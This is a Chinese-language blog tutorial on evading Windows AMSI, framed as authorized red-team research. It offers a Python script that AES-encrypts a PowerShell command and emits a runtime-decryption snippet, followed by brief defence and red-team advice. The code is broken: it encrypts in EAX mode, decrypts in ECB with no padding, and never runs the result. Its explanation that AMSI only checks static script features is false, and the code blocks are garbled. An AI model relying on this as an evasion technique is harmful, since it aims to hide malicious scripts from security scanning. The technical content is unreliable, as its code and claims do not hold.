0x01 揭开AMSI的面纱
在一起令人瞩目的企业数据泄露事件中,调查人员发现攻击者巧妙地绕过了Windows的反恶意软件扫描接口(AMSI),悄无声息地在目标网络中植入了恶意代码。AMSI是微软在2015年推出的一个安全机制,旨在为脚本引擎提供实时恶意软件扫描功能。然而,攻击者总能找到办法来规避这些安全措施,将攻击转化为实际的侵入行为。本文将详述如何在授权安全测试中实现AMSI绕过,供安全研究人员学习。
0x02 攻击环境配置与搭建
为了有效地研究AMSI绕过技术,我们需要一个实验环境。这里我们选择使用Windows 10作为目标操作系统,并安装Python以便运行我们的POC代码。确保你拥有管理员权限以便修改系统设置。
实验环境清单
- 操作系统:Windows 10, 64-bit
- Python环境:Python 3.8及以上
- 工具:管理员权限的PowerShell,文本编辑器(如VS Code)
- 安装Python

在Windows 10上安装Python可以通过下载Python安装包来实现。访问Python官网下载页面并选择适合的版本。
- 配置实验室
- 打开PowerShell并以管理员身份运行。
- 安装Python模块
pycryptodome,以便我们在后续操作中使用。
<pre><code class="language-shell"> pip install pycryptodome `
0x03 Payload构造的艺术
AMSI的设计初衷是为了检测和阻止恶意脚本执行。因此,绕过AMSI的关键在于构造一个可以避开检测的Payload。我们将使用Python结合PowerShell来实现这一目标。
Python代码实现
下面的Python脚本用于生成一个PowerShell命令,该命令将动态加载并执行恶意代码,绕过AMSI的扫描。请确保运行环境中已安装pycryptodome模块。 </code></pre>python import base64 from Crypto.Cipher import AES from Crypto.Random import get_random_bytes
def generate_payload():
配置密钥和数据
key = get_random_bytes(16) # 用于AES加密的随机密钥 raw_data = "Write-Host 'Hello from AMSI bypass!'"
使用AES加密数据
cipher = AES.new(key, AES.MODE_EAX) ciphertext, tag = cipher.encrypt_and_digest(raw_data.encode('utf-8'))
构造PowerShell命令
encrypted_command = base64.b64encode(ciphertext).decode('utf-8') nonce = base64.b64encode(cipher.nonce).decode('utf-8') key_base64 = base64.b64encode(key).decode('utf-8')
powershell_command = f''' $key = [Convert]::FromBase64String("{key_base64}"); $nonce = [Convert]::FromBase64String("{nonce}"); $ciphertext = [Convert]::FromBase64String("{encrypted_command}");
$aes = New-Object System.Security.Cryptography.AesManaged; $aes.Key = $key; $aes.Mode = [System.Security.Cryptography.CipherMode]::ECB; $aes.Padding = [System.Security.Cryptography.PaddingMode]::None;
$decryptor = $aes.CreateDecryptor(); $plaintext = $decryptor.TransformFinalBlock($ciphertext, 0, $ciphertext.Length); [System.Text.Encoding]::UTF8.GetString($plaintext) '''
print("Generated PowerShell command:") print(powershell_command)
generate_payload() <pre><code>
运行方式
- 将上述脚本保存为
generate_payload.py。 - 使用Python解释器运行此脚本以生成PowerShell命令。
</code></pre>shell python generate_payload.py `
0x04 绕过的秘密武器
绕过AMSI的核心在于Payload在执行时如何避开实时扫描。这里我们采用了一种加密+动态解密的策略,通过动态加载和解密恶意代码来避开检测。
关键技术原理
- AES加密:利用AES加密技术对PowerShell命令进行加密,使得AMSI无法直接识别命令的原始意图。
- 动态解密与执行:在PowerShell中解密并执行命令,这一过程不在AMSI直接监控范围内。
AMSI的扫描是基于脚本的静态特征进行的,而通过加密,静态特征被隐藏。动态解密后执行的命令,不会在脚本静态分析中出现,从而达到绕过的效果。
0x05 检测与防御策略
尽管攻击者能够执行AMSI绕过,他们也必须面对不断演进的检测技术。作为防御者,我们需要了解如何识别这种攻击手法并采取有效措施。
防御措施
- 系统日志审计
定期检查并分析系统日志,寻找异常的脚本执行记录。特别是那些通过加密或其他方式进行隐匿处理的内容。
- 行为分析与检测
结合机器学习模型进行实时行为监控,以识别潜在的恶意活动。关注脚本执行环境中不寻常的资源使用或网络活动。
- 强化AMSI
确保AMSI与第三方安全软件的协同工作,利用高级威胁情报更新检测规则。
0x06 红队经验谈
作为红队成员,我们常常扮演攻击者角色,以此来帮助企业提升安全防护能力。通过模拟真实攻击,我们不仅能揭示系统的薄弱环节,还能为防御团队提供有针对性的建议。

实战中的教训

- 不断变化的技术
安全技术的更新速度是惊人的,作为红队攻击者,我们必须时刻关注最新的绕过技术和防御策略。
- 协同作战的重要性
红队与蓝队之间协同工作,可以最大化安全能力。攻击者的视角能够提供不同角度的防护建议。
- 合法授权的重要性
始终确保在授权范围内进行测试,遵守法律法规,这是红队行动的基本准则。
通过这次深度探讨,我们不仅对AMSI的绕过技术有了更深入的理解,也了解了如何在实战中应用这些技术。愿这篇文章能为你的安全研究工作提供帮助!